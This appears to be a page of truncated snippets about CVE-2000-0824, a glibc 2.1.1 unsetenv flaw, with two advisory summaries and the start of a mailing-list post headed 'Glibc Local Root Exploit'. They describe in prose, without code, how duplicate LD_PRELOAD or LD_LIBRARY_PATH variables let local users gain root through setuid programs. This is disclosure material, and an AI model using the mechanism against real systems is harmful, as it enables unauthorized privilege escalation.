CVE-2000-0824

The unsetenv function in glibc 2.1.1 does not properly unset an environmental variable if the variable is provided twice to a program, which could allow local users to execute arbitrary commands in setuid programs by specifying their own duplicate environmental variables such as LDPRELOAD or...

CVE-2000-0824

The CVE-2000-0824 issue involves glibc 2.1.1 unsetenv(): when a variable appears twice in the environment, the value may not be properly removed, enabling a local attacker to influence setuid programs with duplicate variables (e.g., LD_PRELOAD, LD_LIBRARY_PATH) and potentially execute code as roo...

Glibc Local Root Exploit

Hi all, This has been bouncing around on vuln-dev and the debian-devel lists. It effects glibc = 2.1.9x and it would seem many if not all OSes using these versions of glibc. Ben Collins writes, "This wasn't supposed to happen, and the actual fix was a missing comma in the list of secure env vars...
